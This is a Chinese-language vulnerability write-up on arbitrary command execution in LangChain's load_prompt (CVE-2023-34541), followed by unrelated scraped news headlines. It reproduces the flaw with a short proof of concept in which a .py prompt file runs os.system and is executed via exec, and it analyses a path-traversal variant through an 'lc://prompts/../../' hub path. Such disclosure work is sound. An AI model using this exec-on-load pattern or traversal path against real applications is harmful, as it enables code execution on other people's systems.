漏洞简介
LangChain是一个用于开发由语言模型驱动的应用程序的框架。
在LangChain受影响版本中,由于load_prompt函数加载提示文件时未对加载内容进行安全过滤,攻击者可通过构造包含恶意命令的提示文件,诱导用户加载该文件,即可造成任意系统命令执行。
(资料图片仅供参考)
漏洞复现
在项目下编写test.py
from langchain.prompts import load_promptif __name__ == "__main__": loaded_prompt = load_prompt("system.py")
同级目录下编写system.py
执行系统命令dir
import osos.system("dir")
运行test.py
返回了执行系统命令dir
的结果
漏洞分析-_load_prompt_from_file
langchain.prompts.loading.load_prompt
try_load_from_hub
是尝试从给定的路径远程加载文件但是因为我们是加载本地文件,所以接下会跳转到_load_prompt_from_file
langchain.prompts.loading._load_prompt_from_file
在_load_prompt_from_file
根据文件的后缀,当后缀是.py
时 最终会读取该文件并利用exec
去执行
【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】
① 网安学习成长路径思维导图 ② 60+网安经典常用工具包 ③ 100+SRC漏洞分析报告 ④ 150+网安攻防实战技术电子书 ⑤ 最权威CISSP 认证考试指南+题库 ⑥ 超1800页CTF实战技巧手册 ⑦ 最新网安大厂面试题合集(含答案) ⑧ APP客户端安全检测指南(安卓+IOS)
也就相当于,代码可以简写为
if __name__ == "__main__": file_path = "system.py" with open(file_path, "rb") as f: exec(f.read())
漏洞分析-try_load_from_hub
因为网络的原因一直没有办法复现成功,这里就代码层面进行一个详细的分析
from langchain.prompts import load_promptif __name__ == "__main__": loaded_prompt = load_prompt("lc://prompts/../../../../../../../system.py")
langchain.prompts.loading.load_prompt
langchain.utilities.loading.try_load_from_hub
首先匹配了HUB_PATH_RE = re.compile(r"lc(?Pref@[^:]+)?://(?Ppath.*)")
所以需要满足最开始是lc://
然后对后面的内容进行匹配,要求第一个字段的值是prompts
最后的后缀要在{"py", "yaml", "json"}
中
最后拼接请求的url 可以通过../../../
绕出项目的限制,指向我们设定好的文件,并读取加载实现任意命令执行
漏洞小结
在最新版本上面进行尝试,仍然存在这个漏洞,这个漏洞的本质就是可以加载执行本地或者指定的 python 文件,但是在实际应用中这个问题应该并不是那么好进行利用,因为 python 文件的地址要可控才行。
更多网安技能的在线实操练习,请点击这里>>
-
资讯推荐:LangChain 任意命令执行(CVE-2023-34541)LangChain是一个用于开发由语言模型驱动的应用程序的框架。在LangChain
-
赵金凤:为戒毒者重启人生的引路人-世界聚焦党建网由中共中央宣传部主管,党建杂志社主办,是经中央网信办批准可供
-
九强生物:国药投资共增持股份约462万股九强生物(SZ300406,收盘价:元)6月27日晚间发布公告称,公司于2023
-
女子晒出颜值差异过大的新婚视频,引发网友热议,强调三观胜过颜值 世界短讯近日,一段山东一女子晒出自己和老公的新婚视频在网络上引起了广泛的关
-
2023浙江高考提前批录取结果什么时候出 几天知道录取结果2023浙江高考普通类提前录取时间已经公布。其中,军校征求志愿7月14日
-
广东高院对黄永存等47人涉黑案二审宣判据广东省高级人民法院消息,今天,广东省高级人民法院依法对黄永存、黄
-
qs2024年世界大学排行榜公布新东方在线托福整理了2024年QS世界大学排名、包括中国大学排名、美国大
-
7月1日起,佛山机场新航线+2!6月26日,记者从佛山机场了解到,7月1日(本周六)起新增天津、淮安两
-
世界要闻:扩大需求是经济持续回升向好的关键中共中央政治局前不久召开会议强调,恢复和扩大需求是当前经济持续回升
-
朋友毕业分别的伤心句子朋友毕业分别的伤心句子1、相见时难别亦难,心潮逐浪高!2、昨天还山盟
-
前5个月造船三大指标全面增长-天天新视野6月26日,中国船舶工业行业协会发布今年1-5月船舶工业经济运行情况。1-
-
端午小长假云南铁路日均发送旅客达30万人次|快资讯【来源:昆明信息港_原创】昆明信息港讯记者上官艳君6月26日,记者从中
-
昆仑万维回应实控人前妻减持后出借一半资金:大模型需至少10亿美元储备昆仑万维回应实控人前妻减持后出借一半资金:大模型需至少10亿美元储备
-
环球新资讯:高温天防电器“发火”,这份安全用电“秘籍”请查收!近期,我国多地最高气温突破历史极值,电力负荷创新高。居民家中大功率
-
焦点信息:波尔多瓶和勃艮第瓶的区别(勃艮第和波尔多的区别)来为大家解答以上问题。波尔多瓶和勃艮第瓶的区别,勃艮第和波尔多的区
-
枞阳实验中学2022中考成绩_枞阳实验中学1、一楼主,涉及到资料太多太繁琐了,恐怕百度容纳不下 二建议可以
-
申珠雅_关于申珠雅的介绍 环球观点1、申珠雅,1984年3月20日出生于韩国。2、毕业于建国大学电影艺术系。3
-
世界今日报丨一般修理厂换刹车片多少钱(轿车刹车片一般多少公里换一次?)轿车一般每3至5万公里左右更换一次前刹车片,每行驶6至10万公里更换一
-
全球百事通!iphonex黑屏但是没有关机_iphonex黑屏但是没关机1、打开设置并选择通用访问。2、输入后选择辅助功能选项。3、输入后选
-
稀有物种养起来多贵?斯巴鲁森林人养车成本分析!谈及进口、SUV、20-25万元这几个关键词,你的下意识反应会是什么呢?事
-
天天百事通!纳斯达克中国金龙指数涨超1%,小鹏汽车涨超4%纳斯达克中国金龙指数涨超1%,小鹏汽车涨超4%:纳斯达克中国金龙指数涨
-
追踪原油热点需求忧虑重燃打压油价!油价短线或震荡偏空?美联储7月加息25基点概率71.9%!原油多头仍顾虑重重?当下行情如何应对?金十研究员正在直播讲解,点击观看>>> 观热点追踪原油热点需求忧虑重燃打压油价!油价短线或震荡偏空?美联储7月加
-
魅族mx1价格(魅族mx1)|世界时快讯来为大家解答以上问题,魅族mx1价格,魅族mx1很多人还不知道,现在让我
-
建业地产400亿债务压身,河南一哥自救两年难逃违约_天天最新河南房企一哥建业地产终于顶不住了。近日,建业地产宣布,因市场情况恶
-
快资讯丨神奇宝贝之全能冠军(关于神奇宝贝之全能冠军介绍)1、《神奇宝贝之全能冠军》是连载于17K小说网的一部轻小说类网络小说,
-
当前通讯!中听|公司拒招,导师拒录,反向蹭热度更值得川大反思评论员邱延波早在川大保研女张某上网发小作文的时候,第一张多米诺骨牌
-
张家界市武陵源区国家卫生城市复审工作调度会召开 世界今头条红网时刻张家界6月26日讯(武陵源区融媒体中心记者张婷通讯员陈城)6月
-
世界短讯!csgo开箱网站免费抽一次_回血高的箱子钥匙开箱软件名单CS:GO免费开箱【点击进入】老牌开箱网+超高爆率+一秒发货CSGO开箱APP【
-
精选5款值得下载的单机枪战游戏 高人气单机枪战游戏手机版推荐,单机枪战游戏一直是很多游戏爱好者们的心头好,枪战的热血刺激玩法和
-
天天快播:上海期货交易所6月21日锌仓单日报上海期货交易所6月21日锌仓单日报